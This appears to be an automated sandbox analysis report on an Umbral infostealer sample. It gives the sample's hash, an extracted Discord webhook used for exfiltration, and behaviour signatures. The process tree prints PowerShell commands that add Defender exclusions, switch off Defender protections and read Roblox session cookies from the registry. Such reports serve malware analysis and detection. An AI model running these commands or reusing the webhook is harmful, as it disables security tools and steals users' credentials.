Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
26/07/2026, 22:47
General
- Target 2026-07-26_346f9dd4e9d73a681c20fb9250554d6a_amadey_darkgate_elex_glassworm_njrat.exe
- Size 56.8MB
- Sample260726-2qptfssdnh
- SHA256 55dc1a5fec24304b68b6b38a931938f42fb39ee70cc90a6f7df8a7ef31c70ff7
Malware Config
Extracted
-
umbral
-
v1.3
-
https://discord.com/api/webhooks/1530611907323756555/8nfoqDUlA9zsDfIJsYOZMsr5NrdqLCEZ7ahL0YlMN91OnXBG-EUfVf_Bl0fSQlIzDpz6
Signatures
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Detects Umbral payload 4 IoCs
- Detects executables attemping to enumerate video devices using WMI 2 IoCs
- Detects executables containing possible sandbox analysis VM names 2 IoCs
- Detects executables containing possible sandbox analysis VM usernames 2 IoCs
- Detects executables containing possible sandbox system UUIDs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 26 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-26_346f9dd4e9d73a681c20fb9250554d6a_amadey_darkgate_elex_glassworm_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-26_346f9dd4e9d73a681c20fb9250554d6a_amadey_darkgate_elex_glassworm_njrat.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\darkscr1pt.exe"C:\Users\Admin\AppData\Local\Temp\darkscr1pt.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\darkscr1pt.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_2j1oaeqt.10f.ps1
darkscr1pt.exe
memory/1652-4-0x0000000006770000-0x00000000067B0000-memory.dmp
memory/1652-23-0x0000000006530000-0x0000000006558000-memory.dmp
memory/1652-32-0x0000000006580000-0x000000000658C000-memory.dmp
memory/1652-28-0x0000000006560000-0x0000000006572000-memory.dmp
memory/1652-3-0x0000000006CB0000-0x000000000763A000-memory.dmp
memory/1652-0-0x0000000006CB0000-0x000000000763A000-memory.dmp
memory/1652-15-0x0000000006870000-0x0000000006918000-memory.dmp
memory/1652-35-0x0000000006580000-0x000000000658C000-memory.dmp
memory/1652-20-0x0000000006530000-0x0000000006558000-memory.dmp
memory/1652-16-0x00000000064D0000-0x00000000064ED000-memory.dmp
memory/1652-12-0x0000000006870000-0x0000000006918000-memory.dmp
memory/1652-25-0x0000000006560000-0x0000000006572000-memory.dmp
memory/1652-11-0x0000000006740000-0x0000000006751000-memory.dmp
memory/1652-19-0x00000000064D0000-0x00000000064ED000-memory.dmp
memory/1652-8-0x0000000006740000-0x0000000006751000-memory.dmp
memory/1652-7-0x0000000006770000-0x00000000067B0000-memory.dmp
memory/2116-41-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-44-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-43-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-42-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-85-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-84-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-81-0x0000028FED340000-0x0000028FED352000-memory.dmp
memory/2116-80-0x0000028FED2C0000-0x0000028FED2CA000-memory.dmp
memory/2116-56-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-40-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/2116-70-0x0000028FED2A0000-0x0000028FED2BE000-memory.dmp
memory/2116-69-0x0000028FED2F0000-0x0000028FED340000-memory.dmp
memory/2116-68-0x0000028FED370000-0x0000028FED3E6000-memory.dmp
memory/2116-38-0x0000028FEB530000-0x0000028FEB570000-memory.dmp
memory/2116-39-0x00007FF9027EF000-0x00007FF9027F0000-memory.dmp
memory/4120-45-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-61-0x00000239FFE30000-0x00000239FFE3A000-memory.dmp
memory/4120-60-0x00000239FFE60000-0x00000239FFF12000-memory.dmp
memory/4120-59-0x00000239FFE40000-0x00000239FFE5E000-memory.dmp
memory/4120-63-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-55-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-54-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-53-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-52-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-51-0x00000239FF5A0000-0x00000239FF5C2000-memory.dmp
memory/4120-50-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-49-0x00007FF902660000-0x00007FF903004000-memory.dmp
memory/4120-46-0x00007FF902660000-0x00007FF903004000-memory.dmp